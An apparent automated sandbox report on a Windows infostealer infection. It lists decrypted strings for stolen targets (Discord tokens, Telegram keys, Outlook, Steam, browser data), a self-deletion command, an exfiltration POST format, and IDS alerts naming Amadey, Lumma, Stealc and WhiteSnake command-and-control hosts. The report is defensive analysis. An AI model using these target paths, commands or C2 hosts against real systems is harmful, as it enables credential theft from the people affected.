Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %08lX%04lX%lu
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ProductName
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: x32
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: x64
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ProcessorNameString
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DisplayName
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DisplayVersion
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Network Info:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - IP: IP?
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Country: ISO?
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: System Summary:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - HWID:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - OS:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Architecture:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - UserName:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Computer Name:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Local Time:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - UTC:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Language:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Keyboards:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Laptop:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Running Path:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - CPU:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Threads:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Cores:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - RAM:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - Display Resolution:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: - GPU:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: User Agents:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Installed Apps:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: All Users:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Current User:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Process List:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: system_info.txt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: freebl3.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: mozglue.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: msvcp140.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: nss3.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: softokn3.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: vcruntime140.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Temp\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: .exe
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: runas
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: open
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: /c start
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %DESKTOP%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %APPDATA%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %USERPROFILE%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %DOCUMENTS%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %PROGRAMFILES%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %RECENT%
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: *.lnk
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: files
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \discord\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Local Storage\leveldb
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Telegram Desktop\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: key_datas
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: map*
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: F8806DD0C461824F*
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Telegram
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Tox
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: *.tox
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: *.ini
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Password
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 00000001
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 00000002
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 00000003
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 00000004
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Pidgin
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \.purple\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: accounts.xml
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: token:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Software\Valve\Steam
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SteamPath
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \config\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ssfn*
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: config.vdf
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DialogConfig.vdf
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: libraryfolders.vdf
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: loginusers.vdf
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Steam\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: browsers
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: done
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: soft
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: \Discord\tokens.txt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: https
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: POST
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HTTP/1.1
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: hwid
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: build
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: token
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: file_name
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: file
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: message
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: screenshot.jpg
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F27A21 CryptUnprotectData, 8_2_00007FF848F27A21
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 8_2_00007FF848F27B6D CryptUnprotectData, 8_2_00007FF848F27B6D
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BED6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 19_2_6BED6C80
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C02A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 19_2_6C02A9A0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C024440 PK11_PrivDecrypt, 19_2_6C024440
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0244C0 PK11_PubEncrypt, 19_2_6C0244C0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0725B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt, 19_2_6C0725B0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C02A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext, 19_2_6C02A650
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C008670 PK11_ExportEncryptedPrivKeyInfo, 19_2_6C008670
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C00E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free, 19_2_6C00E6E0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C04A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError, 19_2_6C04A730
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C050180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util, 19_2_6C050180
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0243B0 PK11_PubEncryptPKCS1,PR_SetError, 19_2_6C0243B0
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:58253 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:58371 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58386 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58389 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58401 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58406 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58410 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:58412 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:58418 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58422 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58425 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58437 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.160.17:443 -> 192.168.2.5:58445 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.160.17:443 -> 192.168.2.5:58465 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58481 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58493 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58528 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58543 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58546 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58551 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58561 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58562 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58567 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58571 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58572 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58577 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58581 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58584 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58586 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58587 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58588 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58589 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58590 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58591 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58595 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58596 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58597 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58598 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:58609 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:58611 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58614 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:58615 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: f99547c8e6.exe, 00000013.00000002.3236951883.000000006BF3D000.00000002.00000001.01000000.00000016.sdmp
Source: Binary string: nss3.pdb@ source: f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, nss3.dll.19.dr
Source: Binary string: my_library.pdbU source: f99547c8e6.exe, 00000013.00000002.3237865571.000000006C3A1000.00000002.00000001.01000000.0000000F.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000003.2780814664.0000000004DDB000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000019.00000003.2929764002.0000000004B4B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000003.3125912084.0000000004A5B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000002.3261817464.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: my_library.pdb source: f99547c8e6.exe, f99547c8e6.exe, 00000013.00000002.3237865571.000000006C3A1000.00000002.00000001.01000000.0000000F.sdmp, f99547c8e6.exe, 00000013.00000002.3204730970.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp, f99547c8e6.exe, 00000013.00000003.2780814664.0000000004DDB000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000019.00000003.2929764002.0000000004B4B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000003.3125912084.0000000004A5B000.00000004.00001000.00020000.00000000.sdmp, f99547c8e6.exe, 00000029.00000002.3261817464.0000000000F0C000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: softokn3.pdb@ source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.19.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.19.dr
Source: Binary string: nss3.pdb source: f99547c8e6.exe, 00000013.00000002.3237320341.000000006C0FF000.00000002.00000001.01000000.00000015.sdmp, nss3.dll.19.dr
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: VGX14DCMPTTJ4O2LPZ4N.exe, 00000028.00000003.3132081348.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, VGX14DCMPTTJ4O2LPZ4N.exe, 00000028.00000002.3266375809.00000000002D2000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: mozglue.pdb source: f99547c8e6.exe, 00000013.00000002.3236951883.000000006BF3D000.00000002.00000001.01000000.00000016.sdmp
Source: Binary string: softokn3.pdb source: softokn3[1].dll.19.dr, softokn3.dll.19.dr
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: number of queries: 1644
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then dec eax 8_2_00007FF848F222AA
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F3740Ah 8_2_00007FF848F36E7E
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F41694h 8_2_00007FF848F41549
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F31661h 8_2_00007FF848F2EFFA
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F30C09h 8_2_00007FF848F2EFFA
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F3398Dh 8_2_00007FF848F3370E
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F24784h 8_2_00007FF848F23F91
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F31661h 8_2_00007FF848F31279
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F26C9Ch 8_2_00007FF848F26A99
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then dec eax 8_2_00007FF848F3163D
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F24758h 8_2_00007FF848F246E4
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F38221h 8_2_00007FF848F37D51
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F31661h 8_2_00007FF848F30D8E
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then jmp 00007FF848F31661h 8_2_00007FF848F300A5
Source: C:\Users\user\AppData\Local\Temp\build.exe Code function: 4x nop then dec eax 8_2_00007FF848F34F1F
Source: chrome.exe Memory has grown: Private usage: 1MB later: 39MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:58379 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.5:58379
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:58380 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2050601 - Severity 1 - ET MALWARE [ANY.RUN] WhiteSnake Stealer HTTP Request : 192.168.2.5:58382 -> 41.216.183.9:8080
Source: Network traffic Suricata IDS: 2050602 - Severity 1 - ET MALWARE [ANY.RUN] WhiteSnake Stealer HTTP POST Report Exfiltration : 192.168.2.5:58382 -> 41.216.183.9:8080
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:58383 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:61192 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:52291 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:53620 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:65275 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:61157 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58386 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:58385 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:58384 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:58384 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:58384
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:58384 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:58384
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:58389 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:58384 -> 185.215.113.206:80
